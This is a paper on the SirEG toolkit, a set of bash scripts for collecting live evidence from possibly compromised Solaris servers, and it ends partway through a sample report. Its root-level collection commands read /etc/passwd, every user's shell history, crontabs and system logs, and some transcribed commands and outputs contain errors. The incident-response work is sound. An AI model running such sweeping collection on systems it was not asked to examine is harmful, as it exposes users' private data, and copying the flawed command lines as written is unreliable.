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The SirEG Toolkit

A Solaris incident response Evidence Gathering toolkit for security analysts

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Accepted: 2009-04-21
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1. **Introduction**

Security professionals responding to incidents are often asked to assess a host that is suspected of having been compromised. Although there are cases where a compromise is obvious, others are not, as hackers are getting more adept at covering their tracks. Furthermore, great care must be taken to ensure that ample evidence is gathered before making the call to ‘pull the plug’ on a server since this action may have dire consequences to one’s business.

While there is a lot of literature on the subject of gathering data and assessing whether or not a host has been compromised, there are very few tools to help someone perform these tasks quickly and efficiently, particularly on Solaris hosts. The SirEG (Solaris incident response Evidence Gathering) Toolkit has been designed to fill this gap. It consists of bash scripts that can help security professionals respond to potential compromises of Solaris servers.

The SirEG toolkit was created with three specific goals in mind:

- **Re-usability and quick deployment:** Evidence gathering packages for different versions of Solaris and different hardware platforms can be quickly built and deployed
- **Simplicity:** Evidence gathering takes place in a few simple steps and the scripts used for that purpose are easy to review

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- **Analysis & Reporting:** The toolkit can process the data it gathers and report on it

According to Skoudis (2007), there are 6 phases of incident response: Preparation, Identification, Containment, Eradication, Recovery and Lessons learned. The SirEG Toolkit aligns directly with phase 2 (Identification) where we “gather events, analyze them, and determine whether we have an incident” (p. 46). The SirEG Toolkit is not meant to be used as a forensics tool: it will capture live data on a live system. Taking the host offline and working on an imaged hard drive is not an option.

This paper provides the reader an overview of the SirEG Toolkit, then discusses the type of data it captures on a suspicious host and more importantly, how that data is captured. The toolkit is demonstrated, including installation, deployment and data analysis. Finally, the toolkit is applied to a host that has been compromised in order to show how a security analyst would benefit from its use in the field.

2. **SirEG Toolkit Overview**

The SirEG Toolkit is made up of three distinct scripts:

2.1 **SirEG_Build_Toolkit.sh**

This script allows a security analyst to quickly build an evidence gathering kit adapted
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to a specific version of Solaris. This allows security personnel not only to build kits for various Solaris versions but also to quickly adapt to new releases.

2.2 SirEG_Gather_Data.sh

This script is used to gather information from a live system. As will be discussed in this paper, this is more than just a shell script: it is a deployment kit with trusted tools and libraries that is run as a self-contained mini-environment. The output is a simple text file that can either be analyzed manually or by using another script (SirEG_Analyze_Data.sh).

2.3 SirEG_Analyze_Data.sh

While most guides and tools that are available to security analysts limit themselves to capturing data from a host, the SirEG Toolkit goes one step further with the SirEG_Analyze_Data.sh script, which takes the output of the SirEG_Gather_Data.sh script and analyzes it. The data is re-organized into a set of web pages aimed at presenting useful information such as running processes and open ports, highlighting discrepancies and anomalies that could indicate a compromise.

While the SirEG_Analyze_Data.sh script cannot provide an exhaustive analysis of the results, it should help a skilled analyst make an informed decision more rapidly by providing useful information in an easily accessible format.

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2.4 Using the toolkit

Using the SirEG Toolkit to investigate a suspicious system requires all 3 scripts. Here is what is involved:

- Compile a few open-source tools on a trusted host
- Run SirEG_Build_Toolkit.sh on that trusted host
- Copy the resulting tarball to the suspicious system
- Untar the tarball and run a command to set up the environment
- Run SirEG_Gather_Data.sh to gather that data
- Get the resulting report off the suspicious host
- Run SirEG_Analyze_Data.sh against the data gathered
- Get a security analyst to review the resulting html report

Francois Begin
3. **Data captured on live system**

3.1 **Type of data captured by the SirEG Toolkit**

There are many excellent guides that discuss the type of information that should be captured on a live system. Two good examples are *First Responders Guide to Computer Forensics* (Nolan, O’Sullivan, Branson, & Waits, 2005) and *Guide to Integrating Forensic Techniques into Incident Response* (Kent, Chevalier, Grance, & Dang, 2006). The SirEG Toolkit draws on these guides to determine what commands to run and the type of information to capture. This data is gathered according to the following broad categories:

- Basic host information
- User information
- Network-related information
- Process & modules information
- Configuration files
- Startup scripts and services
- Log files
- Installed software and patches
- Other files of interest

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Another excellent resource available specifically for Sun systems is the *Solaris Fingerprint Database*, which is described in *The Solaris fingerprint database: A security tool for Solaris Operating environment files* (Dasan, Noordergraaf, Ordorica, & Brunette, 2006). This is a repository of MD5 checksums for every binary ever released by Sun for their Solaris OS and the SirEG Toolkit makes use of it.

### 3.2 How will the SirEG Toolkit capture the data?

The methods used by the SirEG Toolkit to capture data have been influenced by *Live Solaris Evidence Gathering Instructions*, written by Furner & Buetler from Compass Security (2006). While investigating a host that may have been compromised, an analyst must be very careful how he gathers data. If indeed the host has been compromised, some of its binaries and/or system libraries may have been tampered with by a malicious hacker. The hacker’s aim might be to gather additional data (e.g. credit numbers, usernames/passwords) or to hide what he is currently doing to the compromised host (sending out spam, sniffing traffic on the network, etc.).

Until a compromise has been ruled out, the analyst cannot trust that host. This means that he must avoid gathering data with the binaries found on that system. Instead, “it is advisable to use trusted programs to gather evidence: programs that have been gathered from a ‘clean’ system with [the] same OS and patch level as the system to be
investigated” (p. 7).

Gathering and organizing trusted binaries falls to the *SirEG_Build_Toolkit.sh* script, which can be found at [http://sireg.franky.ca/downloads/SirEG_Build_Toolkit](http://sireg.franky.ca/downloads/SirEG_Build_Toolkit). Although this script will be covered in greater details in section 5 (*The SirEG Toolkit from A to Z*), one needs to understand how data is captured, which requires a discussion of trusted binaries and libraries.

### 3.2.1 Trusted binaries and libraries

When binaries are compiled for a particular operating system and hardware platform, two options are available: the binaries can be statically linked or dynamically linked.

Dynamically compiled binaries make calls to libraries. These libraries contain code that a program can use, allowing it to leverage existing routines rather than having to re-implement them. For instance, a program can use a cryptographic library (like openssl) and encrypt/decrypt data with a simple library call. Statically compiled binaries on the other hand are created when the required library is copied into the target application so that the application contains both its code and the library.

The distinction between the two is important. As stated previously, an analyst can neither trust the suspicious host’s binaries nor its libraries. Either one of these could have...
been compromised by a malicious hacker. It is therefore crucial to use trusted tools that make calls to trusted libraries. Statically-compiled libraries offer this enhanced level of trust. This is what RFC 3227 (Brezinski & Killalea, 2002) recommends: “The programs in your set of tools should be statically linked, and should not require the use of any libraries other than those on the read-only media” (p. 8).

RFC3227 actually goes one step further by recommending to “run your evidence gathering programs from appropriately protected media” (p. 4). The SirEG toolkit can be burned to a cd-rom for deployment but one must keep in mind that there is no guarantee that the system under investigation has a cd-rom drive. Furthermore, in this era of remote server farms there is no guarantee either that the systems administrator of the host even has physical access to the server. Considering these limitations, the deployment of the toolkit is left to the discretion of the person assisting the security analyst and this paper focuses instead on taking great care when setting up a trusted environment. Even then, one should be aware that “since modern rootkits may be installed through loadable kernel modules, you should consider that your tools might not be giving you a full picture of the system” (p. 8).

In a perfect world, an evidence gathering toolkit would be made up exclusively of statically-linked binaries. Unfortunately, Solaris is not the easiest OS platform to compile statically-linked binaries (Pomeranz, 2001). An alternative is to create a self-contained mini-
environment that contains trusted binaries and trusted libraries - and to ensure that only these binaries and libraries are used when capturing data.

### 3.2.2 Trusted environment

As soon as a user logs into a system, a shell is spawned and environment variables such as the `PATH` (path to the binaries) and the `LD_LIBRARY_PATH` (path to the libraries) are set. Fortunately, a user can control his environment and can spawn his own shell within the shell that the system assigns to him. This is key in setting up a trusted environment.

Amongst the many tools included in the SirEG Toolkit is a trusted `bash` binary and a shell profile called `SirEG_shell.profile`. The complete source for this profile is available at [http://sireg.franky.ca/downloads/SirEG_shell.profile](http://sireg.franky.ca/downloads/SirEG_shell.profile). It contains directives to ensure that only trusted binaries and libraries are called. This profile will be re-visited in greater details in section 5.

### 3.3 Commands used to capture data

Now that the need for a trusted environment has been established, let us turn our attention to the commands that will capture the data. Although it is not the goal of this paper to provide an in-depth description of what information is captured and why it is captured (the guides cited in section 3.1 provide these answers), here is a summary of the various

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commands that the SirEG Toolkit relies upon:

### 3.3.1 Header

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>date</td>
<td>system date at onset of data collection</td>
</tr>
<tr>
<td>hostname</td>
<td>Name of the system under investigation</td>
</tr>
<tr>
<td>uname -r</td>
<td>Solaris version</td>
</tr>
<tr>
<td>uname -v</td>
<td>Kernel revision</td>
</tr>
<tr>
<td>uname -p</td>
<td>Hardware platform</td>
</tr>
</tbody>
</table>

### 3.3.2 Basic Host information

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>uname -a</td>
<td>Basic information currently available from the system</td>
</tr>
</tbody>
</table>
### 3.3.3 User information

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>w</code></td>
<td>Users currently logged in and what they are doing</td>
</tr>
<tr>
<td><code>last</code></td>
<td>Last logins and reboots</td>
</tr>
<tr>
<td><code>cat /etc/passwd</code></td>
<td>List of users</td>
</tr>
<tr>
<td><code>cat /etc/group</code></td>
<td>List of groups</td>
</tr>
<tr>
<td><code>cat $HOME/.history</code></td>
<td>List of commands that $USER(^2) typed in</td>
</tr>
<tr>
<td><code>cat $HOME/.bash_history</code></td>
<td></td>
</tr>
<tr>
<td><code>cat /var/spool/cron/crontabs/$USER</code></td>
<td>Contents of $USER(^2) crontabs</td>
</tr>
</tbody>
</table>

1 for HOME in `cat /etc/passwd | awk -F: '{print $6}'`

2 for USER in `ls /var/spool/cron/crontabs/`
### 3.3.4 Network-related information

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>arp -a</td>
<td>Arp cache of the host</td>
</tr>
<tr>
<td>netstat -an</td>
<td>Ports on which the host is currently listening</td>
</tr>
<tr>
<td>`echo &quot;::netstat -a&quot;</td>
<td>mdb -k`</td>
</tr>
<tr>
<td></td>
<td>List of ports on which the host is currently listening as seen from the Modular Debugger. In theory, the output of this should be the same as <code>netstat -a</code>. Why we gather this information will be explained in a later section</td>
</tr>
<tr>
<td>netstat -rn</td>
<td>Routing table</td>
</tr>
<tr>
<td>ifconfig -a</td>
<td>List of interfaces</td>
</tr>
<tr>
<td><code>ndd /dev/ip $PARAM</code></td>
<td>/dev/ip settings</td>
</tr>
<tr>
<td><code>ndd /dev/tcp $PARAM</code></td>
<td>/dev/tcp settings</td>
</tr>
</tbody>
</table>

1 for PARAM in `ndd /dev/ip ? | awk '{print $1}' | grep -v "?" | grep -v obsolete`

2 for PARAM in `ndd /dev/tcp ? | awk '{print $1}' | grep -v "?" | grep -v obsolete`
### 3.3.5 Process and modules information

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ps aulxwww</code></td>
<td>List of processes. We use the binary found in /usr/ucb/ with the <code>www</code> arguments to get a wide output and avoid truncation</td>
</tr>
<tr>
<td>`echo &quot;::ps -f&quot;</td>
<td>mdb -k`</td>
</tr>
<tr>
<td><code>pldd $PID</code></td>
<td>Dynamic libraries linked to each process</td>
</tr>
<tr>
<td><code>pcred $PID</code></td>
<td>Credentials for each process</td>
</tr>
<tr>
<td><code>pmap $PID</code></td>
<td>Address space map for each process</td>
</tr>
<tr>
<td><code>pfiles $PID</code></td>
<td>fstat and fcntl information of all open files for each process</td>
</tr>
<tr>
<td><code>ptree $PID</code></td>
<td>Process tree</td>
</tr>
<tr>
<td><code>modinfo</code></td>
<td>List of kernel modules currently loaded</td>
</tr>
<tr>
<td>`echo &quot;::modinfo&quot;</td>
<td>mdb -k`</td>
</tr>
</tbody>
</table>

1 for PID in `ps -aux | grep -v ^USER | awk '{print $2} | sort -n`
### 3.3.6 Configuration files

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>cat /etc/inet/hosts</td>
<td>The hosts file</td>
</tr>
<tr>
<td>cat /etc/inet/ipnodes</td>
<td>The ipnodes file</td>
</tr>
</tbody>
</table>

### 3.3.7 Startup scripts and services

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>ls -Ractl /etc/rc*</td>
<td>List of startup scripts</td>
</tr>
<tr>
<td>svcs</td>
<td>Services and their status</td>
</tr>
</tbody>
</table>

### 3.3.8 Log files

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>cat /var/adm/messages</td>
<td>Main system log file</td>
</tr>
<tr>
<td>cat /var/adm/loginlog</td>
<td>User logins log file</td>
</tr>
<tr>
<td>cat /var/adm/sulog</td>
<td>Log file tracking users switching to another user ('su')</td>
</tr>
</tbody>
</table>
3.3.9 Installed packages and patches

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>showrev -p</td>
<td>List of patches currently applied on the host</td>
</tr>
<tr>
<td>cat /var/sadm/install/contents</td>
<td>List of binaries that were installed using pkgadd</td>
</tr>
</tbody>
</table>

3.3.10 Other files of interest

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>lsof -D -P</td>
<td>List of open files</td>
</tr>
<tr>
<td>lsof +L1</td>
<td>List of unlinked files</td>
</tr>
<tr>
<td>ls -Ractl /tmp</td>
<td>Contents of /tmp</td>
</tr>
</tbody>
</table>

3.3.11 Cryptographic checksums of system binaries

<table>
<thead>
<tr>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>hashdeep -r -s /usr/bin /usr/sbin</td>
<td>Captures the MD5 and SHA256 hashes for each files found in /usr/bin and /usr/sbin.</td>
</tr>
</tbody>
</table>

All of these commands are incorporated in the SirEG_Gather_Data.sh script. The complete source code is available at http://sireg.franky.ca/downloads/SirEG_Gather_Data.
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After the script has run, the data is available in a simple text file that looks like this:

```
===== [HEADER] Basic host information (20090121161334)
DATE:20090121161334
HOSTNAME:defiant
SOLVERSION:5.10
KERNEL:Generic_127127-11
PLATFORM:sparc

===== [uname -a] General information about host (20090121161335)
SunOS defiant 5.10 Generic_127127-11 sun4u sparcs UNW, UltraAX-12

===== [w] who is currently doing what (20090121161335)
4:13pm up 1:06, 2 users, load average: 0.02, 0.00, 0.00
user   tty      time   wUID   inet IP   SRCIP   DSTIP   filename   progress
lp   pts/1   4:12pm   1   /etc/passwd, /etc/shadow
fbegln pts/2   4:13pm   1   /etc/passwd, /etc/shadow

Screen Shot 1 Partial output of SirEG report
```

4. **Data analysis**

Once the data has been captured, *SirEG_Analyze_Data.sh* is used to parse the report. The complete source is available at [http://sireg.francy.ca/downloads/SirEG_Analyze_Data](http://sireg.francy.ca/downloads/SirEG_Analyze_Data).

When *SirEG_Analyze_Data.sh* runs, it starts by extracting the output of each command run by *SirEG_Gather_Data.sh* and stores it in individual files. It then creates a main report and specialized reports. The specialized reports are discussed in the next section.

5. **The SirEG Toolkit from A to Z**

Now that we know what data the SirEG Toolkit captures and how it is captured, let us

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see it in action. This section covers how to use `SirEG_Build_Toolkit.sh` to create a deployment kit, how to deploy the kit on a host and capture data with `SirEG_Gather_Data.sh`, and how to analyze the resulting report with `SirEG_Analyze_Data.sh`, including a demonstration of using the toolkit on a compromised host.

### 5.1 SirEG_Build_Toolkit.sh

#### 5.1.1 Overview

The first thing required to build an evidence gathering kit is a trusted host at the same OS level and architecture as the suspicious system i.e. Solaris 10 on sparc, Solaris 9 on x86, etc. It is from that host that the trusted binaries and libraries are gathered. Preferably, access to this host should be restricted to security personnel. It should have been hardened and kept up-to-date with regular patching.

Although native Solaris binaries and libraries are preferred when building the evidence gathering toolkit, there are two open source tools that have no elegant counterparts in the Solaris operating system: `hashdeep` and `lsof`. The former is part of the `MD5deep` suite of tools and is used to recursively compute cryptographic digests for files (Sharma, 2007). The latter supplements `ps` and `netstat` (Miessler, 2009), two key commands used when gathering live data. Both `hashdeep` and `lsof` are included in the toolkit.
A security analyst’s first step is, therefore, to deploy both programs on a trusted host. These can either be compiled from source or downloaded from a trusted provider of precompiled binaries like Sunfreeware (www.sunfreeware.com) or Blastwave (www.blastwave.com). Since compiling on Solaris systems is not always straightforward, compilation notes for these two packages are included in Appendix A.

5.1.2 Installing SirEG_Beild_Toolkit.sh

There is no need to run SirEG_Beild_Toolkit.sh as root so the best approach is to create a sireg group and make the security analyst a member of that group. The following is done as root:

```
# mkdir /usr/local/SirEG_Toolkit
# groupadd sireg
# vi /etc/group  and add the user to sireg group e.g. sireg::100:fbegin1
# chgrp sireg /usr/local/SirEG_Toolkit
# chmod g+w  /usr/local/SirEG_Toolkit
```

As a regular user member of the sireg group, the latest version of the SirEG Toolkit can be downloaded from http://sireg.franky.ca/downloads.html and untarred to any directory. For the purpose of this paper, /usr/local/SirEG_Toolkit (sometimes refered to as $SIREG in the text) is used.

`lsof` typically comes in 32-bit and 64-bit version so one must ensure that the right

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version is used. The following output shows a 64-bit (sparcv9) system:

```
$ isainfo
  sparcv9 sparc
```

The `lsof` and `hashdeep` binaries previously compiled/installed are copied in the appropriate sub-directories of `$SIREG/Other_Tools` based on the architecture (sparc, i386) and Solaris version, as follows:

```
$ cp /usr/local/bin/sparcv9/lsof /usr/local/SirEG_Toolkit/Other_Tools/`uname -p`/`uname -r`
$ cp /usr/local/bin/hashdeep /usr/local/SirEG_Toolkit/Other_Tools/`uname -p`/`uname -r`
```

### 5.1.3 Running `SirEG_Build_Toolkit.sh`

Once `lsof` and `hashdeep` are in place, `SirEG_Build_Toolkit.sh` can be run, as shown in Screen Shot 2:

```
[fbegin1@defiant]:/usr/local/SirEG_Toolkit$ ./SirEG.Build_Toolkit.sh

Enumerating libraries required by the chosen tools
Copying these libraries in ./Libs
Your toolkit is ready and is called
  SirEG_Toolkit-sparc-5.10[Generic_127127-11]v0.8.tar

It can be found in the current working directory. You can also view the toolkit by going to the ./Toolkit directory. A log of the toolkit creation, including a list of files that were copied, can be found in ./build_toolkit.log
```

"Screen Shot 2 Running SirEG_Build_Toolkit.sh"
The SirEG Toolkit

When the script runs, it gathers a list of tools that will be required to gather evidence on
the suspicious system. These tools get copied to $SIREG/Toolkit/Tools. Amongst the tools
gathered are the following commands: grep, awk, netstat, arp, ndd, etc. Refer to the source
code of SirEG_Build_Toolkit.sh for a complete list. Some commands (like sort and mdb)
come in both 32-bit and 64-bit versions so $BIT_SIZE is used to determine which one is
required:

BIT_SIZE="isainfo -kv | awk '{print $2}'"

For each of these tools, the script also finds all the libraries against which they are
linked. To do so, the ldd utility is used (Henry-Stocke, 2006). For example, to list the
supporting libraries for /bin/grep on the trusted system, /bin/ldd /bin/grep is run as shown in
Screen Shot 3:

```
[fbegin1@defiant]$ /usr/local/SirEG_Toolkit$ /bin/ldd /bin/grep
/libgen.so.1 => /lib/libgen.so.1
/libc.so.1 => /lib/libc.so.1
/libm.so.2 => /lib/libm.so.2
/platform/SUNW,UltraAX-i2/lib/libc_psr.so.1
```

Screen Shot 3 Listing libraries required by /bin/grep

In this example, libraries /lib/libgen.so.1, /lib/libc.so.1 and /lib/libm.so.2 are copied to
$SIREG/Toolkit/Libs. One might ask about the final library: /platform/SUNW,UltraAX-
i2/lib/libc_psr.so.1. Unfortunately, that one is an absolute binding (Sun, & Couch, 2001), which

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"must exists in exactly that place in the filesystem or the program will not function. In this case there is a good reason for the absolute binding as the existence of the library in question is dependent upon the sub-architecture of the particular machine" (p.146). In other words, for *grep* to function on that particular hardware platform (a Sun Fire V120), it needs to make calls to that specific library file. The only way to overcome this requirement would be by re-booting the suspicious host using a Solaris boot disk, which was ruled out earlier. This limitation of the toolkit simply has to be accepted.

As the script completes its run, all required libraries are saved to `$SIREG/Toolkit/Libs` while all required tools end up in `$SIREG/Toolkit/Tools`, as shown in Screen Shot 4:
The SirEG Toolkit

```bash
[fbegin1@defiant]$ cd Toolkit/
[fbegin1@defiant]$ ls Libs/
libc.so.5  libdevinfo.so.1  libm.so.1  libsocket.so.1
libadmagt.so.2  libdhcpagent.so.1  libm.so.2  libsysvent.so.1
libadmapm.so.2  libdhcputil.so.1  libmd.so.1  libtsmt.net.so.1
libadmcm.so.2  libdisasm.so.1  libmp.so.2  libtsol.so.2
libadmsec.so.2  libdl.so.1  libnsl.so.1  libumem.so.1
libadmutil.so.2  libdlpi.so.1  libnvpair.so.1  libuuid.so.1
libavl.so.1  libdoor.so.1  libpool.so.1  libuuidl.so.1
libbrand.so.1  libelf.so.1  libproc.so.1  libw.so.1
libc.so.1  libexacct.so.1  libproject.so.1  libxml2.so.2
libc_db.so.1  libgenc.so.1  libpthread.so.1  libxnet.so.1
libcido.so.1  libnetcfg.so.1  librpcsvc.so.1  libz.so.1
libcmdbuf.so.1  libnetutil.so.1  librtld_dh.so.1  libzonecfg.so.1
libcontract.so.1  libintl.so.1  libscf.so.1  libzoneinfo.so.1
libctf.so.1  libkstat.so.1  libsec.so.1
libcurses.so.1  libkvm.so.1  libsecdb.so.1
```

Screen Shot 4 Contents of Tools and Libs directories

3 additional files can also be found under $SIREG/Toolkit:

**SirEG_Gather_Data.sh** :

This is the script that will be gathering the data from the suspicious host.

**sparc-5.10[Generic_127127-11]v0.7g** :

This file is used to identify the platform and OS for which the toolkit was created.

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The SirEG Toolkit

SirEG_shell.profile:

A special profile which will ensure that only calls to the trusted binaries and trusted libraries are made when SirEG_Gather_Data.sh is run.

Let us take a closer look at SirEG_shell_profile before actually deploying the toolkit to a suspicious host. The source code can be found at http://sireg.franky.ca/downloads/SirEG_shell.profile. The key lines are these ones:

```
export PATH=./Tools
export LD_LIBRARY_PATH=./Libs
```

The first one sets the security analyst’s PATH. As can be seen, the PATH is limited to the ./Tools directory, so unless the analyst gives a full path, any command he types will be run using the trusted binaries previously gathered. The second line sets the path to the library files. When deploying the toolkit to a suspicious host, the trusted environment is set up by invoking the command ./Tools/bash --rcfile ./SirEG_shell.profile, thereby ensuring that both $PATH and $LD_LIBRARY_PATH are set correctly. This will be demonstrated in the next section of this paper.

Once SirEG_Build_Toolkit.sh has run, the complete toolkit ends up being tarred in the current working directory, ready for deployment:

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[t805959@defiant]:/usr/local/SirEG_Toolkit$ ls *.tar
SirEG_Toolkit-sparc-5.10[Generic_127127-11]v0.8.tar

5.2 SirEG_Gather_Data.sh

5.2.1 Installing SirEG_Gather_Data.sh

At this point, we have a toolkit called SirEG_Toolkit-sparc-5.10[Generic_127127-11]v0.8.tar that is ready to be used on a suspicious host. It should be noted that when gathering evidence, SirEG_Gather_Data.sh needs to be run as root. Since most businesses implement separation of roles, it is likely that this toolkit will be handed to the systems administrator of the host. How the tarball gets copied to the host is therefore left to the discretion of that person. In most cases, the file will simply be copied via scp. Once on the host, there is no complicated installation procedure. All that one needs to do is untar the toolkit in any directory.

[root@suspicious-host]: # mkdir /tmp/SirEG
[root@suspicious-host]: # cd /tmp/SirEG
[root@suspicious-host]: # cp ~/ SirEG_Toolkit-sparc-5.10[Generic_127127-11]v0.8.tar /tmp/SirEG
[root@suspicious-host]: # tar xvf SirEG_Toolkit-*.tar

5.2.2 Running SirEG_Gather_Data.sh

To gather data, a trusted shell and environment are spawned as shown in Screen Shot 5:
The analyst can verify that the environment is set up correctly. The `which` command shows the exact path of a command, so running `which netstat` in the trusted environment demonstrates that the PATH is set correctly to `./Tools`.

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```
[Investigation_Shell]$: /tmp/SirEG$ which netstat
./Tools/netstat
```

**Screen Shot 6** PATH is correctly set in trusted environment

`ldd` shows that, apart from a few absolute bindings related to the hardware platform, all libraries are called from the trusted libraries located in `./Libs`

```
[Investigation_Shell]$: /tmp/SirEG$ ./Tools/ldd ./Tools/netstat
libdhcpagent.so.1 => ./Libs/libdhcpagent.so.1
libcmd.so.1 => ./Libs/libcmd.so.1
libsocket.so.1 => ./Libs/libsocket.so.1
libnsl.so.1 => ./Libs/libnsl.so.1
libkstat.so.1 => ./Libs/libkstat.so.1
libtsnet.so.1 => ./Libs/libtsnet.so.1
libtsol.so.2 => ./Libs/libtsol.so.2
libc.so.1 => ./Libs/libc.so.1
libdhcpputil.so.1 => ./Libs/libdhcpputil.so.1
libuuid.so.1 => ./Libs/libuuid.so.1
libdpl.so.1 => ./Libs/libdpl.so.1
libmp.so.2 => ./Libs/libmp.so.2
libmd.so.1 => ./Libs/libmd.so.1
libcsf.so.1 => ./Libs/libcsf.so.1
libsecdb.so.1 => ./Libs/libsecdb.so.1
libdoor.so.1 => ./Libs/libdoor.so.1
libgen.so.1 => ./Libs/libgen.so.1
libnetutil.so.1 => ./Libs/libnetutil.so.1
libuutil.so.1 => ./Libs/libuutil.so.1
libm.so.2 => ./Libs/libm.so.2
/platform/SUNW, UltraAX-12/lib/libc_psrlinux-1.so
/platform/SUNW, UltraAX-12/lib/libmd_psrlinux-1.so
```

**Screen Shot 7** All libraries (except absolute bindings) are called from trusted environment

The *truss* command (Walberg, 2006) confirms all this, as shown in Screen Shot 8:
The SirEG Toolkit

Note how the `open()` calls are made to libraries located in `./Libs` except for the unavoidable absolute bindings.

To offer some added flexibility, the SirEG Toolkit gives the user the option to run any command independently within the confines of the trusted environment. A system administrator could therefore gather data and investigate the incident manually. For instance, he can look at the ARP table:

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```
[Investigation_Shell]@/tmp/SirEG$ arp -a
Device  IP Address        Mask      Flags    Phys Addr
---     -----------        --------  -------    --------
er10    194.11.193.241   255.255.255.255       00:0d:88:0f:d0:a5
er10    default         255.255.255.255   SPLA     00:0b:ba:19:23:2b
er10    BASE-ADDRESS.MCAST.NET  240.0.0.0     SM       01:00:5e:00:00:00
```

```
Realistically though, the best approach is to use `SirEG_Gather_data.sh`:

```
[Investigation_Shell]@/tmp/SirEG$ ./SirEG_Gather_Data.sh
cat: cannot open /var/adm/loginlog
lsof: cannot find/execute "lsof" in ISA subdirectories
lsof: cannot find/execute "lsof" in ISA subdirectories
mdb: conn_tcp 600109a0400 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a0ac0 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a1180 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a1840 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a0400 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a0ac0 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a1180 is invalid: Inappropriate ioctl for device
mdb: conn_tcp 600109a1840 is invalid: Inappropriate ioctl for device

SirEG_Gather_Data.sh has completed. Report saved in ./report
```

```
Screen Shot 10 Running SirEG_Gather_Data.sh

The script runs all the commands listed in section 3.3 and saves the output to a simple text file called `report`. There are some errors that can be safely ignored: some `lsof` and `mdb` “noise” as well as a complaint that `/var/adm/loginlog` does not exist (it never was created on this particular system). Once the report has been generated, the systems administrator can copy the report back to a trusted host where it can be analyzed.

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5.3 Sireg_Analyze_Data.sh

5.3.1 Installing Sireg_Analyze_Data.sh

Sireg_Analyze_Data.sh needs to run on a host that has access to the internet. The tool wget (Trapani, 2006) is required as it will be used to retrieve patch reports, access the Solaris Fingerprint Database, etc.

Preferably, this host should also run a web server (apache for instance) although the report can be viewed offline. One can simply install apache and note its document root, then copy Sireg_Analyze_Data.sh and the report obtained from the suspicious host to any directory. The following variables in Sireg_Analyze_Data.sh must be changed:

```
HTDOCS=/usr/local/apache2/htdocs
http_proxy="http://192.168.1.100:8080";export http_proxy
```

The first one needs to be pointed to the web server’s document root. If there is no web server available on that host, it should be pointed to a directory from which the html reports can be retrieved. The second variable should point to the web proxy the server uses to access the internet. That whole line should be commented out if no proxy is used.

5.3.2 Running Sireg_Analyze_Data.sh

Sireg_Analyze_Data.sh can now be run against the report that was generated on the
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suspicious host:

```
$ SANS:ZONE $ ./SirEG_Analyze_Data.sh ./report_for_paper
Process_Report.sh has started. Now processing ./report_for_paper
Hostname : defiant
date     : 2009011213340
kernel   : Generic_12717-11
Platform : sparc
1. creating directory for report and saving raw report
2. Re-creating the index page for SirEG Portal
3. Analyzing processes ... 10%... 20% ... 30% ... 40% ... 50% ... 60% ... 70% ... 80% ... 90%
4. Analyzing ports ... 10% ... 20% ... 30% ... 50% ... 60% ... 70% ... 80% ... 100%
5. Analyzing patches ... 10% ... 20% ... 30% ... 40% ... 50% ... 60% ... 70% ... 80% ... 90% ... 100%
6. Analyzing users and login ... 10% ... 20% ... 30% ... 40% ... 50% ... 60% ... 70% ... 80% ... 90% ... 100%
7. Analyzing known vulnerabilities
       [1057 found] ... 10% ... 20% ... 30% ... 40% ... 50% ... 60% ... 70% ... 80% ... 90% ... 100%
8. Analyzing network
9. Analyzing fingerprints ... 10% ... 20% ... 30% ... 40% ... 50% ... 60% ... 70% ... 80% ... 90% ... 100%
10. Analyzing MDB Information
11. Analyzing system logs
12. Analyzing startup scripts and services
13. Analyzing interesting files
```

Screen Shot 11 Running SirEG_Analyze_Data.sh

5.4 SirEG Toolkit reports

After the script has run, reports will be available in the directory defined by `$HTDOCS` in `SirEG_Analyze_Data.sh`. If no web server is running, the whole directory and all subdirectories need to be copied to the analyst’s workstation, and then `index.html` can be opened in a browser. If a web server is running, the analyst can simply point his browser to `http://<server_name_or_ip>/index.html` as shown in Screen Shot 12:

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Reports for specific hosts can be accessed directly by going to

http://<server_name_or_ip>/SirEG_reports/<hostname>/CURRENT/. Most of the

screen shots and examples presented in the remainder of this paper are taken from a

host called defiant. The complete report for this host is available online at

http://sireg.franky.ca/demo.

5.4.1 Main report

Here is the main page for host defiant.
There are three main sections on this report. **Basic host Information** is just a header with data to help identify the host. **SirEG Reports** are specialized reports where *SirEG_Analyze_Data.sh* presents correlated information that can be used by an analyst.

Finally, **Output from SirEG_Gather_Data.sh** is the output from each of the commands from section 3.3. Let us look at each specialized report in detail.
5.4.2 Raw Report

Screen Shot 14 shows the raw, unprocessed report that was captured by

SirEG_Gather_Data.sh. It can be searched with the search function of a browser.

```
<scr>
==== [HEADER] Basic host information (2009-01-19 13:34:09)
DATE:2009011913340
HOSTNAME:defiant
SOLVERSION:5.10
KERNEL:Generic_127127-11
PLATFORM:sparc

SunOS defiant 5.10 Generic_127127-11 sun4u sparc SUNW,UltraSPARC-12

11:33am up 17 min(s), 5 users, load average: 0.05, 0.41, 0.44
User  tty  Login@ idle CPU PCPU what
bobehi pts/2  11:19am  3:40 u
ls pts/3  11:22am  4 -bash
jswithi pts/4  11:23am  8 -bash
lp pts/5  11:28am  7 ./svc_conzinds -1 -p 666
